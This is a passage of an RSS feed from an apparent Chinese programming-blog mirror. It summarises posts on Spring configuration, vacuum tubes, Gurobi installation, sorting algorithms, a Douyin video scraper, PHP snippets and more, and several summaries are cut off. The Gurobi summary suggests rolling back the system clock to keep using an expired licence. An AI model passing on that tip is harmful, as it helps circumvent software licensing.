&#39;Uzayr&#39;, &#39;Uzma&#39;, &#39;VJay&#39;, &#39;Vaila&#39;, &#39;Vaimante&#39;, &#39;Vairi&#39;, &#39;Vaishali&#39;, &#39;Valen&#39;, &#39;Valentin&#39;, &#39;Valentina&#39;, &#39;Valentino&#39;, &#39;Valeria&#39;, &#39;Valerie&#39;, &#39;Valery&#39;, &#39;Valo&#39;, &#39;Vanessa&#39;, &#39;Vanni&#39;, &#39;Vanya&#39;, &#39;Vasemaca&#39;, &#39;Vasiliki&#39;, &#39;Vasyl&#39;, &#39;Vedantsinh&#39;, &#39;Veera&#39;, &#39;Veeran&#39;, &#39;Verity&#39;, &#39;Veronica&#39;, &#39;Veronika&#39;, &#39;Vhairi&#39;, &#39;Vicki&#39;, &#39;Vicky&#39;, &#39;Victor&#39;, &#39;Victoria&#39;, &#39;Victory&#39;, &#39;Viki&#39;, &#39;Vikki&#39;, &#39;Viktoria&#39;, &#39;Vinay&#39;, &#39;Vince&#39;, &#39;Vincent&#39;, &#39;Vincenzo&#39;, &#39;Vinh&#39;, &#39;Vinnie&#39;, &#39;Violet&#39;, &#39;Virginia&#39;, &#39;Virginie&#39;, &#39;Vithujan&#39;, &#39;Vivian&#39;, &#39;Vladimir&#39;, &#39;Vladislav&#39;, &#39;Vrishin&#39;, &#39;Vuyolwethu&#39;, &#39;Wabuya&#39;, &#39;Wai&#39;, &#39;Walid&#39;, &#39;Wallace&#39;, &#39;Walter&#39;, &#39;Wanessa&#39;, &#39;Wang&#39;, &#39;Waqaas&#39;, &#39;Wardah&#39;, &#39;Warkhas&#39;, &#39;Warren&#39;, &#39;Warrick&#39;, &#39;Wasif&#39;, &#39;Wayde&#39;, &#39;Wayne&#39;, &#39;Wei&#39;, &#39;Wen&#39;, &#39;Wen&#39;, &#39;Wendy&#39;, &#39;Weronika&#39;, &#39;Wesley&#39;, &#39;Wezi&#39;, &#39;Wiktor&#39;, &#39;Wiktoria&#39;, &#39;Wiktorja&#39;, &#39;Wilhelmina&#39;, &#39;Wilkie&#39;, &#39;Will&#39;, &#39;Willa&#39;, &#39;William&#39;, &#39;Willow&#39;, &#39;Willum&#39;, &#39;Wilson&#39;, &#39;Windsor&#39;, &#39;Windsor&#39;, &#39;Wing&#39;, &#39;Winnifred&#39;, &#39;Witney&#39;, &#39;Wojciech&#39;, &#39;Woyenbrakemi&#39;, &#39;Wren&#39;, &#39;Wu&#39;, &#39;Wyatt&#39;, &#39;Wylie&#39;, &#39;Wynn&#39;, &#39;Xabier&#39;, &#39;Xander&#39;, &#39;Xaniamh&#39;, &#39;Xanthe&#39;, &#39;Xanthia&#39;, &#39;Xavier&#39;, &#39;Xiao&#39;, &#39;Xida&#39;, &#39;Xin&#39;, &#39;Xin&#39;, &#39;Xiong&#39;, &#39;Xue&#39;, &#39;Xue&#39;, &#39;Yadgor&#39;, &#39;Yago&#39;, &#39;Yahya&#39;, &#39;Yakup&#39;, &#39;Yana&#39;, &#39;Yang&#39;, &#39;Yangxi&#39;, &#39;Yanick&#39;, &#39;Yann&#39;, &#39;Yannick&#39;, &#39;Yaris&#39;, &#39;Yaseen&#39;, &#39;Yasemin&#39;, &#39;Yasin&#39;, &#39;Yasir&#39;, &#39;Yasmeen&#39;, &#39;Yasmin&#39;, &#39;Yasmine&#39;, &#39;Yassin&#39;, &#39;Yazmin&#39;, &#39;Yelena&#39;, &#39;Yingzi&#39;, &#39;Yishuka&#39;, &#39;Yoji&#39;, &#39;Yolanda&#39;, &#39;Yolwandle&#39;, &#39;Yong&#39;, &#39;Yoolgeun&#39;, &#39;Yorgos&#39;, &#39;Youcef&#39;, &#39;Youer&#39;, &#39;Yousif&#39;, &#39;Youssef&#39;, &#39;Yu&#39;, &#39;Yu&#39;, &#39;Yuanyu&#39;, &#39;Yuri&#39;, &#39;Yusef&#39;, &#39;Yusra&#39;, &#39;Yusuf&#39;, &#39;Yutong&#39;, &#39;Yva&#39;, &#39;Yves&#39;, &#39;Zaaine&#39;, &#39;Zaak&#39;, &#39;Zac&#39;, &#39;Zach&#39;, &#39;Zachariah&#39;, &#39;Zacharias&#39;, &#39;Zacharie&#39;, &#39;Zacharius&#39;, &#39;Zachariya&#39;, &#39;Zachary&#39;, &#39;Zachery&#39;, &#39;Zack&#39;, &#39;Zackary&#39;, &#39;Zaheerah&#39;, &#39;Zahide&#39;, &#39;Zahira&#39;, &#39;Zahra&#39;, &#39;Zahraa&#39;, &#39;Zaid&#39;, &#39;Zain&#39;, &#39;Zaina&#39;, &#39;Zainab&#39;, &#39;Zaine&#39;, &#39;Zaineddine&#39;, &#39;Zainedin&#39;, &#39;Zainib&#39;, &#39;Zak&#39;, &#39;Zakaria&#39;, &#39;Zakariya&#39;, &#39;Zakary&#39;, &#39;Zaki&#39;, &#39;Zakir&#39;, &#39;Zakiyya&#39;, &#39;Zakk&#39;, &#39;Zalfa&#39;, &#39;Zamaar&#39;, &#39;Zanab&#39;, &#39;Zander&#39;, &#39;Zane&#39;, &#39;Zara&#39;, &#39;Zarah&#39;, &#39;Zarran&#39;, &#39;Zaya&#39;, &#39;Zayd&#39;, &#39;Zayn&#39;, &#39;Zaynab&#39;, &#39;Zaynah&#39;, &#39;Zayne&#39;, &#39;Ze&#39;, &#39;Zechariah&#39;, &#39;Zeek&#39;, &#39;Zeenat&#39;, &#39;Zeeshan&#39;, &#39;Zehra&#39;, &#39;Zeid&#39;, &#39;Zein&#39;, &#39;Zeinab&#39;, &#39;Zella&#39;, &#39;Zen&#39;, &#39;Zena&#39;, &#39;Zenab&#39;, &#39;Zenah&#39;, &#39;Zendel&#39;, &#39;Zenith&#39;, &#39;Zennon&#39;, &#39;Zenub&#39;, &#39;Zeph&#39;, &#39;Zerah&#39;, &#39;Zeynep&#39;, &#39;Zhen&#39;, &#39;Zhen&#39;, &#39;Zhi&#39;, &#39;Zhi&#39;, &#39;Zhong&#39;, &#39;Zhuo&#39;, &#39;Zi&#39;, &#39;Zi&#39;, &#39;Zian&#39;, &#39;Zidane&#39;, &#39;Zijie&#39;, &#39;Zinedine&#39;, &#39;Zinto&#39;, &#39;Zion&#39;, &#39;Zishan&#39;, &#39;Zita&#39;, &#39;Ziya&#39;, &#39;Ziyaan&#39;, &#39;Zoe&#39;, &#39;Zoey&#39;, &#39;Zofia&#39;, &#39;Zoha&#39;, &#39;Zohaib&#39;, &#39;Zohair&#39;, &#39;Zohra&#39;, &#39;Zosia&#39;, &#39;Zoubaeir&#39;, &#39;Zoya&#39;, &#39;Zubair&#39;, &#39;Zubayr&#39;, &#39;Zuhrah&#39;, &#39;Zulaikha&#39;, &#39;Zunaira&#39;, &#39;Zunairah&#39;, &#39;Zunera&#39;, &#39;Zuriel&#39;, &#39;Zuzanna&#39;, &#39;Zuzia&#39;, &#39;Zuzu&#39;);</description>
    </item>
    <item>
      <title>java 外部覆盖内部配置,java – Spring引导和多个外部配置文件</title>
      <link>https://bchobby.github.io/posts/ee6be57570c8e09656a295e0abc4d436/</link>
      <pubDate>Fri, 12 Mar 2021 01:37:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee6be57570c8e09656a295e0abc4d436/</guid>
      <description>我有多个属性文件，我想从类路径加载。在/ src / main / resources下有一个默认设置，它是myapp.jar的一部分。我的springcontext期望文件在类路径上。即：&#xA;location=&#34;classpath:job1.properties&#34;&amp;gt;&#xA;location=&#34;classpath:job2.properties&#34;&amp;gt;&#xA;我还需要使用外部集来覆盖这些属性的选项。我有一个外部config文件夹在cwd。按照Spring启动doc配置文件夹应该在类路径。但它不清楚从doc如果它将只覆盖applicaiton.properties从那里或所有的配置中的属性。&#xA;当我测试它，只有application.properties被拾起，其余的属性仍然从/ src /主/资源。我试图提供他们作为逗号分隔的列表到spring.config.location，但默认设置仍然没有被覆盖。&#xA;如何使多个外部配置文件覆盖默认的？&#xA;作为解决方法我目前使用app.config.location(应用程序特定属性)，我通过命令行提供。即，&#xA;java -jar myapp.jar app.config.location=file:./config&#xA;我把我的applicationcontext改为&#xA;location=&#34;{app.config.location}/job2.properties&#34;&amp;gt;&#xA;这是我如何使文件和类路径之间加载应用程序时分离。&#xA;编辑：&#xA;//psuedo code&#xA;if (StringUtils.isBlank(app.config.location)) {&#xA;System.setProperty(APP_CONFIG_LOCATION, &#34;classpath:&#34;);&#xA;}&#xA;我真的不想使用上面的解决方法，并有spring覆盖所有外部配置文件在类路径，就像它为application.properties文件。</description>
    </item>
    <item>
      <title>电子管工作原理，图文并茂，言简意赅</title>
      <link>https://bchobby.github.io/posts/73358fdbe1b3d72c67c8c97e6f708680/</link>
      <pubDate>Thu, 11 Mar 2021 23:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73358fdbe1b3d72c67c8c97e6f708680/</guid>
      <description>先前我们了解到，电子管并没有完全淘汰，还在音频领域发光发热。&#xA;那么作为，作为技术人才，咱们还是需要了解一些基本的知识，比如简单的历史，工作原理，优劣势在哪里。&#xA;考虑只有很少的人会接触到电子管，本文也不会很深入的写（其实是因为我就知道皮毛）。仅供与人聊天使用，不至于是个“憨憨”。&#xA;电子管是怎么发明的&#xA;爱迪生效应&#xA;提到电子管的发明，首先需要提到爱迪生，就是发明电灯泡的那位。&#xA;要知道电灯泡刚发明的时候，灯丝很容易就烧断了，寿命很短。为了延长寿命，有一次爱迪生突发奇想：在灯泡内另行封入一根铜线，放在灯丝的上面，想用来阻止灯丝蒸发，延长灯泡寿命。&#xA;经过反复试验，灯丝虽然蒸发如故，但他却发现了一个稀奇现象，即灯丝加热后，铜线上竟有微弱的电流通过。铜线与灯丝没有物理连接，哪里来的电流呢？难道电流会在空中飞不成？&#xA;在当时，这是一件匪夷所思的事情。虽然爱迪生也不知道为什么，但是本着“不能放弃任何一个专利”的态度，他申请了专利，命名为“爱迪生效应”。&#xA;现在我们知道，这个电流的产生，是因为灯丝被加热到红炽状态后，灯丝上面会有非常活跃的电子，会脱离灯丝飞出去。正好灯丝上面有铜线，电子就飞到了铜线上面，因为有了电子的移动，自然就形成了电流（这个现象的专业名词应该是：零场热电子发射）&#xA;电子二极管诞生&#xA;不过呢，爱迪生搞了个专利之后就没再继续研究了。&#xA;十几年后，有个英国人，名字叫弗莱明。他发现了，如果在那个铜线上面加上正电，也就是在上图中电流表的位置加个电源，此时电流会大大增加。&#xA;这是因为加上电源之后，上面的铜丝带正电，而电子带负电，异性相吸，铜丝对电子有吸引力，就被吸过去了。&#xA;而如果加上负电，同性排斥，电子被排斥，到不了铜线，电流就没有了。&#xA;我去，这不是单向导电性吗，也就是二极管，世界上第一支二极管就这么出来了，这也使得了爱迪生效应有了真正的应用。&#xA;电子三极管的诞生&#xA;两年之后，有个美国人，叫德福雷斯特。他在这个灯丝与铜线之间，巧妙的伸进去一个线圈，然后给这个线圈通上电。发现，如果加上正电压，那么电流会增加，加上负电压，电流会减少，也就是说电流受这个线圈电压的影响。&#xA;这个装置其实就是电子管了——电子管被发明了。并且，那个夹在中间的线圈就叫栅极（是不是很熟悉？）&#xA;这个也很容易理解，中间的线圈加上正电，加强了对灯丝电子的吸引，而加上负电，就减小了灯丝对电子的吸引。&#xA;电子管工作原理&#xA;其实上面说的历史，已经把电子管的工作原理讲清楚了，这里再小结一下&#xA;电子管示意图如下所示，为了更好的理解，我把三极管也放上去了。&#xA;电子管也有三个极，阴极，栅极，和阳极，分别类似于晶体管的发射极e，基极b，集电极c 。&#xA;除此之外，电子管还有灯丝，工作的时候，给灯丝通上电，灯丝就会发热，然后灯丝把阴极烧热。阴极上面就会有比较活跃的电子，这时候如果在阳极上面加上正电，阳极就会把电子吸过去，形成电流。&#xA;在栅极上面加上正电压，那么对阴极电子的吸引力就会加强，电流增大。如果加上负电，那么吸引力就减小了，电流也就减小了。也就是说栅极能控制阳极到阴极的电流了，这也是晶体管的功能。&#xA;电子管的结构&#xA;电子管结构如图，左边是示意图，右边是实物。&#xA;需要注意的是，电子管里面是需要抽真空的。因为电子发射的时候，如果有空气，电子会撞到空气分子，这会大大降低电流。所以电子管也叫真空管。&#xA;正是因为电子管的这种结构，所以体积也做不小。&#xA;此外，绝对得真空是很难达到得，并且，使用时间久了之后，难免会漏气，所以电子管得寿命一般也短。&#xA;并且，灯丝需要加热，功耗自然很高。&#xA;正因为有上述这些缺点，晶体管代替了电子管，成为当今世界得主流。&#xA;不过呢，电子管也没有完全消失，在音频领域等少数领域还在使用。&#xA;结尾&#xA;本文就写到这里了。&#xA;同志们，怎么样？我那几个电灯泡画得还不错吧，还有最后面那个电子管示意图，都是高清无码的——要了我老命啊，来几个赞给我续口气吧。&#xA;更多硬件知识，欢迎关注下方微信公众号</description>
    </item>
    <item>
      <title>和平精英组装电脑配置要求2021适合玩和平精英游戏电脑清单</title>
      <link>https://bchobby.github.io/posts/a2cecb89be40388030d1e3d26577bb79/</link>
      <pubDate>Thu, 11 Mar 2021 20:50:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2cecb89be40388030d1e3d26577bb79/</guid>
      <description>在电脑上玩都是需要模拟器的，模拟器要求不是很高，大部分的模拟器都可以运行起来。游戏要求的电脑配置不一样，手机要求的配置660以上，CPU很好运行，比较低的CPU就很卡。&#xA;我的游戏组装电脑就是活动时8折抢购的 点击开抢&#xA;http://www.adiannao.cn/du&#xA;电脑上要求的就是显卡和CPU，玩家需要一个比较流畅的显卡，一个比较好的CPU。当然内存也是必备的显卡要求不是很高，只要是530以上的，都可以运行。&#xA;CPU要求也不高，i3的英特尔就可以了。&#xA;内存要求也不高，运行内存只要4G就够了。&#xA;1、系统：windowsvistasp2／windows7sp1／windows8／windows8．1。&#xA;2、cpu：intelpentiumd3ghz／amdathlon64x24200。&#xA;3、内存：2gb。&#xA;4、显卡：nvidiageforce8800／atiradeonhd3870（512mb，dx11）。&#xA;5、硬盘：18g以上硬盘空间。</description>
    </item>
    <item>
      <title>error: no such option: --with-html 解决办法</title>
      <link>https://bchobby.github.io/posts/2ee3205527949238c0482e94beed1d64/</link>
      <pubDate>Thu, 11 Mar 2021 16:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ee3205527949238c0482e94beed1d64/</guid>
      <description> 安装如下包：&#xA;pip install nose-html-reporting </description>
    </item>
    <item>
      <title>windows安装ASAP（ Automated Slide Analysis Platform）【实测成功】</title>
      <link>https://bchobby.github.io/posts/92a6a598ba3ab2eebf44fc49d9acae61/</link>
      <pubDate>Thu, 11 Mar 2021 15:50:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92a6a598ba3ab2eebf44fc49d9acae61/</guid>
      <description>仅作为记录，大佬请跳过。&#xA;文章目录 官方下载展示注 不用设置环境变量，用.exe文件双击后直接安装即可&#xA;官方下载 链接：传送门&#xA;然后即可安装&#xA;展示 注 注意到ASAP如果要用python的import到程序里的话，可能只支持python 3.6以下的版本（但只显示.svs图片的话，对python版本木有影响——博主的是python 3.7）&#xA;所需的.svs病理切片可从乳腺癌数据的官网获取：传送门&#xA;关于建议下载ASAP软件的出处：&#xA;https://camelyon17.grand-challenge.org/Data/</description>
    </item>
    <item>
      <title>报数游戏(约瑟夫问题)</title>
      <link>https://bchobby.github.io/posts/20c4d176acb7aaa00a9817995be0ec4d/</link>
      <pubDate>Thu, 11 Mar 2021 15:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20c4d176acb7aaa00a9817995be0ec4d/</guid>
      <description>报数游戏是这样的：有n个人围成一圈，按顺序从1到n编好号。从第一个人开始报数，报到m（&amp;lt;n）的人退出圈子；下一个人从1开始报数，报到m的人退出圈子。如此下去，直到留下最后一个人。&#xA;本题要求编写函数，给出每个人的退出顺序编号。&#xA;函数接口定义：&#xA;void CountOff( int n, int m, int out[] ); 其中n是初始人数；m是游戏规定的退出位次（保证为小于n的正整数）。函数CountOff将每个人的退出顺序编号存在数组out[]中。因为C语言数组下标是从0开始的，所以第i个位置上的人是第out[i-1]个退出的。&#xA;裁判测试程序样例：&#xA;#include &amp;lt;stdio.h&amp;gt; #define MAXN 20 void CountOff( int n, int m, int out[] ); int main() { int out[MAXN], n, m; int i; scanf(&#34;%d %d&#34;, &amp;amp;n, &amp;amp;m); CountOff( n, m, out ); for ( i = 0; i &amp;lt; n; i++ ) printf(&#34;%d &#34;, out[i]); printf(&#34;\n&#34;); return 0; } /* 你的代码将被嵌在这里 */ 输入样例：&#xA;11 3 输出样例：</description>
    </item>
    <item>
      <title>Gurobi在Windows和Linux环境下的安装和配置（学术版）</title>
      <link>https://bchobby.github.io/posts/54c5a6b8f3fbb06dc1b0196217bfa62e/</link>
      <pubDate>Thu, 11 Mar 2021 09:33:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54c5a6b8f3fbb06dc1b0196217bfa62e/</guid>
      <description>Gurobi在Windows和Linux环境下的安装和配置 在Windows中安装和配置 1.下载和证书申请 官网https://www.gurobi.com/&#xA;Downloads&amp;amp;License中，下载可用版本的软件。然后点击学术版证书，可以申请得到一个免费的学术版证书（有效期60天）。记录页面下方的grbgetkey *******之后在软件中激活。&#xA;2.安装和激活 安装过程比较简单，只要点确定即可。&#xA;运行gurobi，第一次使用会提示使用key激活，这时候输入之前证书中获取的grbgetkey后面的********就可以了。之后会提示证书存储路径，默认路径应该是C盘下的用户文件夹。&#xA;3.环境配置 在python环境下配置：&#xA;在gurobi安装目录中打开Powershell窗口，输入如下命令，回车&#xA;python setup.py install 等待安装完成即可&#xA;另外，最简单的gurobi与python IDE的配置方法如下：&#xA;在gurobi的安装路径下找到合适版本的lib文件夹，将其中的gurobipy文件夹复制到IDE安装路径的lib文件夹下，就可以正常使用了。&#xA;然后以VS2019为例展示一下C语言环境配置：&#xA;1.在“解决方案资源管理器”面板中右键单击项目名称，然后选择“属性”。&#xA;2.在C / C ++ /常规/附加包含目录下，添加：……（gurobi安装路径）\win64\include&#xA;3.在链接器/常规/附加库目录下，添加：……（gurobi安装路径）\win64 \ lib&#xA;4.在“ C / C ++” /“预编译头” /“预编译头”下，选择“不使用预编译头”&#xA;5.在链接器/输入/其他依赖项下，添加gurobi90.lib和gurobi_c++mdd2019.lib（视版本而定）&#xA;4.证书过期问题 打开证书存储路径下的gurobi.lic，可以看到证书的有效期，当证书过期时无法是无法正常使用Gurobi的。证书过期最简单的解决方法是直接删除证书存储路径下的gurobi.lic文件，然后重新注册一个证书并激活。不过由于证书的验证方式问题，只要修改系统时间为证书有效期内，就可以继续使用软件。&#xA;在Linux中安装和配置 1.下载和安装 在官方网址https://www.gurobi.com/下载适合自己版本的压缩包，以Ubuntu 16.04为例，我将压缩包放在了Home中。&#xA;在终端中输入，回车，解压压缩包。&#xA;tar -zxvf gurobi9.1.1_linux64.tar.gz 解压压缩包后会出现以gurobi+版本号命名的文件夹。&#xA;与在Windows中配置相同，需要在gurobi+版本号/linux64文件夹中输入&#xA;python setup.py install 回车来完成环境配置，成功后大致如上图。&#xA;2.添加环境变量 cd到home，在终端中输入&#xA;vim ~/.bashrc 输入 i 插入文字，将下面这两行添加到文档底部，然后按ESC，之后输入 ： +wq保存并退出，也可以使用sudo gedit ~/.bashrc来编辑。（第一行的路径为自己的gurobi存放路径）&#xA;export GUROBI_HOME=&#34;/home/gurobi911/linux64&#34; export PATH=&#34;${PATH}:${GUROBI_HOME}/bin&#34; export LD_LIBRARY_PATH=&#34;</description>
    </item>
    <item>
      <title>【十大经典排序算法】C语言实现</title>
      <link>https://bchobby.github.io/posts/a85ade98f8677773bda00475d4fd21d3/</link>
      <pubDate>Wed, 10 Mar 2021 19:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a85ade98f8677773bda00475d4fd21d3/</guid>
      <description>十大经典排序算法 插入类排序直接插入排序折半(二分)插入排序希尔排序 交换类排序冒泡排序快速排序 选择类排序选择排序树形选择排序堆排序 归并排序计数排序分配类排序捅排序基数排序 插入类排序 直接插入排序 void insert_sort(int arr[], int len) { int record, j; for(int i = 1; i &amp;lt; len; i++) { record = arr[i]; for(j = i - 1; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; record; j--) arr[j + 1] = arr[j]; arr[j + 1] = record; } } 折半(二分)插入排序 void binary_insert_sort(int arr[], int len) { int record; for(int i = 1; i &amp;lt; len; i++) { record = arr[i]; int low = 0, high = i - 1, mid; while(low &amp;lt;= high) { mid = (low + high) / 2; if(record &amp;lt; arr[mid]) high = mid - 1; else low = mid + 1; } for(int j = i - 1; j &amp;gt;= low; j--) arr[j + 1] = arr[j]; arr[low] = record; } } 希尔排序 void shell_sort(int arr[], int len) { for(int delta = len / 2; delta &amp;gt; 0; delta /= 2) for(int i = delta; i &amp;lt; len; i++) { int record = arr[i], j; for(j = i - delta; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; record; j -= delta) arr[j + delta] = arr[j]; arr[j + delta] = record; } } 交换类排序 冒泡排序 void bubble_sort(int arr[], int len) { int i, j, t; for(i = 0; i &amp;lt; len - 1; i++) for(j = i + 1; j &amp;lt; len; j++) if(arr[i] &amp;gt; arr[j]) { t = arr[i]; arr[i] = arr[j]; arr[j] = t; } } 快速排序 void quick_sort(int arr[], int begin, int end) { if(begin == end) return; int key = arr[begin], i = begin, j = end; while(i &amp;lt; j) { while(i &amp;lt; j &amp;amp;&amp;amp; arr[i] &amp;lt;= key) i++; while(i &amp;lt; j &amp;amp;&amp;amp; arr[j] &amp;gt;= key) j--; if(i !</description>
    </item>
    <item>
      <title>python爬虫&#43;抖音分享链接=可直接下载视频链接</title>
      <link>https://bchobby.github.io/posts/6779af4974bc0b46fb7d094cfc81e8fa/</link>
      <pubDate>Wed, 10 Mar 2021 18:18:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6779af4974bc0b46fb7d094cfc81e8fa/</guid>
      <description>&#34;&#34;&#34; 20210429更新文件下载功能，以时间戳为文件名的MP4格式文件。 #以下代码仅供学习参考。 &#34;&#34;&#34; import requests import re import time headers1 = {&#39;user-agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&#39;} base_url = &#34;https://www.iesdouyin.com/web/api/v2/aweme/iteminfo/?item_ids=&#34; def parse(dy_link): stats1 = requests.get(url=dy_link, headers=headers1) locationlink = stats1.url # 使用response.url ,可以直接提取location 链接地址。 pp1 = requests.get(url=locationlink, headers=headers1) referer_url = pp1.url header2 = { &#39;user-agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&#39;, &#39;referer&#39;: referer_url } videonum = re.</description>
    </item>
    <item>
      <title>Php判断来路 执行,php如何判断来路并进行跳转_后端开发</title>
      <link>https://bchobby.github.io/posts/46f1bb55ba30061a8374b2854d6b411f/</link>
      <pubDate>Wed, 10 Mar 2021 16:50:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46f1bb55ba30061a8374b2854d6b411f/</guid>
      <description>php实现token登录认证的思路_后端开发&#xA;php实现token登录认证的方法：1、前端传账号密码给后端；2、后端将账号密码作处理加密生成token，并返回给前端；3、前端将token存入缓存；4、将前端传来的token与数据库账号密码生成的token进行比对，相等则成功。&#xA;php判断来路并跳转的方法：首先创建一个PHP示例文件；然后通过if语句以及strpos等函数实现判断逻辑；最后运行该文件即可判断来路链接并进行相应的跳转。&#xA;php判断来路并进行跳转&#xA;if(strpos($_SERVER[&#39;HTTP_REFERER&#39;],&#39;baidu.com&#39;)===false){&#xA;//不是从百度过来的&#xA;header(&#39;Location: http://www.c.com/somepage.php&#39;);&#xA;}&#xA;?&amp;gt;&#xA;相关介绍：&#xA;strpos() 函数查找字符串在另一字符串中第一次出现的位置。&#xA;注释：strpos() 函数对大小写敏感。&#xA;注释：该函数是二进制安全的。&#xA;相关函数：&#xA;stripos() – 查找字符串在另一字符串中第一次出现的位置(不区分大小写)&#xA;php怎么把图片转换成二进制_后端开发&#xA;php把图片转换成二进制的方法：首先通过filesize函数获取指定图片文件的大小；然后使用fread及fopen函数读取文件；最后执行相应文件即可将图片以二进制流的形式输出到客户端。&#xA;strripos() – 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)&#xA;strrpos() – 查找字符串在另一字符串中最后一次出现的位置(区分大小写)&#xA;语法&#xA;strpos(string,find,start)&#xA;参数&#xA;string 必需。规定要搜索的字符串。&#xA;find 必需。规定要查找的字符串。&#xA;start 可选。规定在何处开始搜索。&#xA;更多相关知识，请访问ki4网！</description>
    </item>
    <item>
      <title>php&#43;读取文件&#43;csv文件,教你用php读写csv格式的文件</title>
      <link>https://bchobby.github.io/posts/6aee2bc8a273c823c61e36ddc9543061/</link>
      <pubDate>Wed, 10 Mar 2021 16:49:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6aee2bc8a273c823c61e36ddc9543061/</guid>
      <description>免费资源网 - https://freexyz.cn/&#xA;读取csv格式文件&#xA;function read_csv($file){&#xA;setlocale(LC_ALL,&#39;zh_CN&#39;);//linux系统下生效&#xA;$data = null;//返回的文件数据行&#xA;if(!is_file($file)&amp;amp;&amp;amp;!file_exists($file))&#xA;{&#xA;die(&#39;文件错误&#39;);&#xA;}&#xA;$cvs_file = fopen($file,&#39;r&#39;); //开始读取csv文件数据&#xA;$i = 0;//记录cvs的行&#xA;while ($file_data = fgetcsv($cvs_file))&#xA;{&#xA;$i++;&#xA;if($i==1)&#xA;{&#xA;continue;//过滤表头&#xA;}&#xA;if($file_data[0]!=&#39;&#39;)&#xA;{&#xA;$data[$i] = $file_data;&#xA;}&#xA;}&#xA;fclose($cvs_file);&#xA;return $data;}&#xA;写入csv格式文件&#xA;function createcsv($csv_body){&#xA;// 头部标题&#xA;$csv_header = array(&#39;sku&#39;,&#39;我们自己的成本价&#39;,&#39;京东自己的销售价&#39;,&#39;对比结果&#39;);&#xA;/**&#xA;* 开始生成&#xA;* 1. 首先将数组拆分成以逗号(注意需要英文)分割的字符串&#xA;* 2. 然后加上每行的换行符号，这里建议直接使用PHP的预定义&#xA;* 常量PHP_EOL&#xA;* 3. 最后写入文件&#xA;*/// 打开文件资源，不存在则创建&#xA;$des_file = &#39;d:/res.csv&#39;;&#xA;$fp = fopen( $des_file,&#39;a&#39;);// 处理头部标题</description>
    </item>
    <item>
      <title>情绪识别（python opencv dlib）</title>
      <link>https://bchobby.github.io/posts/7233ea9a5a470892012109b4dab80814/</link>
      <pubDate>Wed, 10 Mar 2021 15:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7233ea9a5a470892012109b4dab80814/</guid>
      <description>调用网络摄像头https://blog.csdn.net/weixin_40959890/article/details/114527379?spm=1001.2014.3001.5501&#xA;情绪识别代码（shape_predictor_68_face_landmarks.dat这个文件要放在当前目录下，不然要写绝对地址）：&#xA;#!Anaconda/anaconda/python #coding: utf-8 &#34;&#34;&#34; 从视屏中识别人脸，并实时标出面部特征点 &#34;&#34;&#34; import dlib #人脸识别的库dlib import numpy as np #数据处理的库numpy import cv2 #图像处理的库OpenCv class face_emotion(): def __init__(self): # 使用特征提取器get_frontal_face_detector self.detector = dlib.get_frontal_face_detector() # dlib的68点模型，使用作者训练好的特征预测器 self.predictor = dlib.shape_predictor(&#34;shape_predictor_68_face_landmarks.dat&#34;) #ip 摄像头的 rtsp地址 ip_camera_url = &#39;rtsp://admin:admin@192.168.31.104:8554/live&#39; # 创建一个VideoCapture #建cv2摄像头对象 self.cap = cv2.VideoCapture(ip_camera_url) # 设置视频参数，propId设置的视频参数，value设置的参数值 self.cap.set(3, 480) # 截图screenshoot的计数器 self.cnt = 0 def learning_face(self): # 眉毛直线拟合数据缓冲 line_brow_x = [] line_brow_y = [] # cap.isOpened（） 返回true/false 检查初始化是否成功 while(self.cap.isOpened()): # cap.</description>
    </item>
    <item>
      <title>1200php,前端不能放弃1200px的理由</title>
      <link>https://bchobby.github.io/posts/feb9af7b7bd32fd10a404e419c08caba/</link>
      <pubDate>Tue, 09 Mar 2021 22:26:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feb9af7b7bd32fd10a404e419c08caba/</guid>
      <description>开发过程中，可能会遇到这种情况：电脑屏幕是13寸，14寸的，但是在浏览器中显示宽度没有达到自己屏幕的宽度，导致样式把控上很不方便。&#xA;这种问题多发现于笔记本电脑上，并不是说台式机上没有这个问题，而是台式外接的屏幕就当今而言不会特别小，所以不容易发现而已。&#xA;原因：高分辨率导致&#xA;在这么多年的电脑使用中，不知道你有没有发现，电脑屏幕的分辨率越低，字体与图标越大；而分辨率越高，字体和图标越小：&#xA;低分辨率&#xA;高分辨率&#xA;现实情况下，主流的电脑品牌拿出2K屏，乃至4K屏作为销售卖点，所以会出现小屏幕配高分辨率的情况。那这样是不是笔记本用了高分辨率，本来屏幕就不大的情况下，字太小会导致看不清楚呢？&#xA;答案是否定的，你仔细看你的笔记本，其实并不会有字太小看不清楚的情况。因为现在的系统会根据配置默认把字体放大，以至你看起来并不会觉得有什么问题，以window10为例：&#xA;上图那个推荐选项就是系统默认的选项，也正是这个原因导致浏览器渲染宽度变小。(你可以尝试改变选项来看看效果)&#xA;总结&#xA;现在的操作系统会根据电脑的屏幕大小和分辨率大小来调整文本及应用的大小，以便适配小屏幕上使用高分辨率显示不清的问题。这也是导致浏览器渲染的时候，渲染的窗体宽度小于实际电脑屏幕的宽度。&#xA;所以我们在确定兼容最小宽度的时候，考虑到系统会往下缩放，最好坚持版心1200px的底线。以确保大多数笔记本的显示情况是符合我们期望的那样。&#xA;前端技术交流群：709397872(欢迎加入)</description>
    </item>
    <item>
      <title>用Kodi访问Win10共享文件夹</title>
      <link>https://bchobby.github.io/posts/c27c4833881ac55fd7612ff0e4a36675/</link>
